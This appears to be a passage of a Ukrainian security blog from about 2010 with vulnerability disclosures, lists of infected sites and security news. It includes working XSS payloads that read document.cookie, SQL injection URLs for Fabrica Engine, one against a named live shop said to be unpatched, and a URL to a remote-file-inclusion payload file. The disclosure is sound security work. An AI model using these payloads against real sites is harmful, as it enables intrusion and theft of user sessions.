Websecurity - Веб безпека

Продовжуючи тему уразливостей в плагінах для WordPress, пропоную вам інформацію про дірки в інших плагінах для WP.

Цього разу повідомляю про уразливості в плагінах NextGEN Gallery та cforms. Для котрих з’явилися експлоіти. NextGEN Gallery - це плагін для створення галерей зображень, cforms - це плагін для створення контактних форм на сайті.

• XSS Vulnerability in NextGEN Gallery Wordpress Plugin (деталі)
• cforms WordPress Plugin Cross Site Scripting Vulnerability (деталі)

Користувачам даних плагінів варто або оновити їх, або власноруч виправити дірки. В якості тимчасового рішення, поки не будуть виправлені чи оновлені плагіни, можна їх виключити в адмінці.

Продовжуючи розпочату традицію, після попереднього відео про захмарну веб безпеку, пропоную нове відео на веб секюріті тематику. Цього разу відео про DoS атаки на сервер. Рекомендую подивитися всім хто цікавиться цією темою.

Server Attack programs

В відео розповідається про різні програми для проведення DoS та DDoS атак на сервери (в тому числі веб сервери в Інтернеті). Серед різних додатків, зокрема розповідається про такий потужний інструмент як ping . Рекомендую подивитися дане відео для розуміння векторів DoS атак на сервери.

Виявлені численні уразливості безпеки в PHP.

Уразливі версії: PHP 5.2, PHP 5.3.

Міжсайтовий скриптінг, DoS.

• Cross-Site Scripting vulnerability in PHP (деталі)
• Vulnerabilities in PHP (деталі)

12.04.2010

У жовтні, 04.10.2009, я знайшов SQL Injection уразливіть на проекті http://vch.kiev.ua (інтернет магазин). Про що найближчим часом сповіщу адміністрацію проекту.

Стосовно дірок на сайтах онлайн магазинів в останнє я писав про уразливості на matrix.ua.

Детальна інформація про уразливість з’явиться пізніше. Треба дати час адмінам на реакцію з цього приводу.

30.11.2010

SQL Injection:

http://vch.kiev.ua/goods.php?id=-1%20or%20version()=5

Дана уразливість досі не виправлена.

В 2008 та 2009 роках я знайшов Cross-Site Scripting, Denial of Service та SQL Injection уразливості в Fabrica Engine. Це комерційний движок для онлайн-магазинів. Дані уразливості я виявив на сайті matrix.ua. Про що найближчим часом повідомлю розробникам.

XSS:

http://site/search/?keyword=%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E
http://site/search/?pmin=%3Cscript%3Ealert(document.cookie)%3C/script%3E
http://site/search/?pmax=%3Cscript%3Ealert(document.cookie)%3C/script%3E

DoS:

http://site/search/?keyword=

SQL Injection:

http://site/search/?pmin=1%20and%20version()=5%20limit%201/*&keyword=1
http://site/search/?pmax=1%20and%20version()=5%20limit%201/*&keyword=1

Уразливі Fabrica Engine 2.1 та попередні версії.

Після попереднього дослідження інфікованих сайтів, приведу нову інформацію про заражені сайти. З числа українських сайтів.

• http://beatlesinmylife.org.ua - інфекція була виявлена 14.10.2010. Зараз сайт не входить до переліку підозрілих.
• http://harvest-ind.com.ua - інфекція була виявлена 02.11.2010. Частина цього сайта була внесена до переліку сайтів із підозрілою активністю 7 разів протягом останніх 90 днів. Зараз сайт не входить до переліку підозрілих.
• http://cluboz.net - інфекція була виявлена 26.11.2010. Частина цього сайта була внесена до переліку сайтів із підозрілою активністю 2 рази протягом останніх 90 днів. Зараз сайт входить до переліку підозрілих.
• http://askei.kiev.ua - інфекція була виявлена 29.11.2010. Частина цього сайта була внесена до переліку сайтів із підозрілою активністю 1 раз протягом останніх 90 днів. Зараз сайт не входить до переліку підозрілих.
• http://mns.gov.ua - інфікований державний сайт - інфекція була виявлена 09.11.2010. Частина цього сайта була внесена до переліку сайтів із підозрілою активністю 2 рази протягом останніх 90 днів. Зараз сайт не входить до переліку підозрілих.

Як і у випадку з іншими веб сайтами, інфікований сайт mns.gov.ua також хостить в себе Укртелеком.

В листопаді місяці Microsoft випустила 3 патчі. Що значно менше ніж у жовтні.

У листопадевому “вівторку патчів” Microsoft випустила черговий пакет оновлень, до якого увійшло 3 бюлетені по безпеці. Що закривають 11 уразливостей в програмних продуктах компанії. В тому числі один патч виправляє 5 критичних уразливостей, які дозволяють виконати довільний шкідливий код на віддаленому комп’ютері.

Дані патчі стосуються таких продуктів компанії як додатки Microsoft Office та Microsoft Forefront Unified Access Gateway.

В даній добірці уразливості в веб додатках:

• Motorola Milestone Smartphone Denial of Service (деталі)
• XSS vulnerability in Onyx (деталі)
• SQL injection vulnerability in SyntaxCMS (деталі)
• Cross-Site Scriting on Portwise SSL VPN v4.6 (деталі)
• SQL injection vulnerability in SyntaxCMS (деталі)
• XSS vulnerability in Edit-X CMS (деталі)
• Multiple Vulnerabilities in Cisco ASA 5500 Series Adaptive Security Appliances (деталі)
• XSS vulnerability in i-Web Suite (деталі)
• SQL injection vulnerability in i-Web Suite (деталі)
• New polipo packages fix denial of service (деталі)

Пропоную вашій увазі добірку цікавих новин на тему безпеки.

За повідомленням hackzona.com.ua, новий варіант хробака Zeus заражає тільки “швидкі” комп’ютери.

Фахівці антивірусної компанії F-Secure повідомили про виявлення екзотичного варіанта інтернет-хробака Zeus, який інфікує тільки “досить швидкі” комп’ютери, щоб потім включати їх до складу своєї бот-мережі для атак і розсилки спаму.

За повідомленням itua.info, програми Apple лідирують по числу уразливостей.

Програмне забезпечення “яблучної компанії” саме діряве - такі результати досліджень, проведених відомим розробником програмних засобів захисту даних Secunia.

За повідомленням hackzona.com.ua, через помилку розкриті дані користувачів Facebook.

У Facebook була виявлена уразливість, яка дозволила взломщикам отримати імена та фотографії всіх користувачів. Розкриття інформації про користувачів проводилося за адресами електронної пошти: знаючи адресу, атакуючі отримували ім’я і фотографію.

Це вже не перша уразливість на Facebook, що набула розголосу цього року. Безпека як даної соціальної мережі, так і соціальних мереж взагалі, залишає бажати кращого.

Після попереднього виявлення похаканих сайтів в моїх логах, приведу нову інформацію про взломані українських сайти. Що використовуються для атак (зокрема RFI атак) на інші сайти.

Похакані сайти в Уанеті:

• http://stalker.net.cn.ua (хакером Insiderz) - 24.11.2010

Файли, що використовуються для RFI атак:

http://stalker.net.cn.ua/settings/data/id.txt - файл вже видалений з сайта, але все ще є в кеші Гугла.